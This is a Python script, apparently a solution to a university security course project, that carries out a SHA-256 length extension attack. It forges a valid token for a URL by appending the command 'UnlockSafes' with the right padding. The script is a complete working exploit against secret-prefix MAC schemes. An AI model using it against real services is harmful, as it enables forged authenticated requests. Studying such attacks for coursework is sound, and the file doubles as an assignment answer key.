#!/usr/bin/python3

# Run me like this:
# $ python3 len_ext_attack.py "https://project1.eecs388.org/uniqname/lengthextension/api?token=...."
# or select "Length Extension" from the VS Code debugger

import sys
from urllib.parse import quote
from pysha256 import sha256, padding

class URL:
    def __init__(self, url: str):
        # prefix is the slice of the URL from "https://" to "token=", inclusive.
        self.prefix = url[:url.find('=') + 1]
        self.token = url[url.find('=') + 1:url.find('&')]
        # suffix starts at the first "command=" and goes to the end of the URL
        self.suffix = url[url.find('&') + 1:]

    def __str__(self) -> str:
        return f'{self.prefix}{self.token}&{self.suffix}'

    def __repr__(self) -> str:
        return f'{type(self).__name__}({str(self).__repr__()})'

def main():
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} URL_TO_EXTEND", file=sys.stderr)
        sys.exit(-1)

    url = URL(sys.argv[1])
    
    # Determine the length of the original token's message, which is equal to 
    # 8 bytes (the length of the unknown secret password) plus the length of 
    # the rest of the message (the URL suffix)
    messageLen = 8 + len(url.suffix)
    
    # Create a new sha256 object with an initial state matching the existing 
    # token hash and message length
    h1 = sha256(
        # The existing token in hexadecimal form can be converted from string 
        # to bytes
        state = bytes.fromhex(url.token),
        # The length is equal to the length of the original token's message 
        # plus the length of the padding on that message
        count = messageLen + len(padding(messageLen))
    )
    # Append the malicious command to be executed to the hash
    h1.update("&command=UnlockSafes".encode())
    
    # Change the existing URL token to the new token hash
    url.token = h1.hexdigest()
    # Add the padding for the original message plus the new command to be 
    # executed to the URL suffix
    url.suffix += quote(padding(messageLen)) + "&command=UnlockSafes"

    # Print the URL
    print(url)

if __name__ == '__main__':
    main()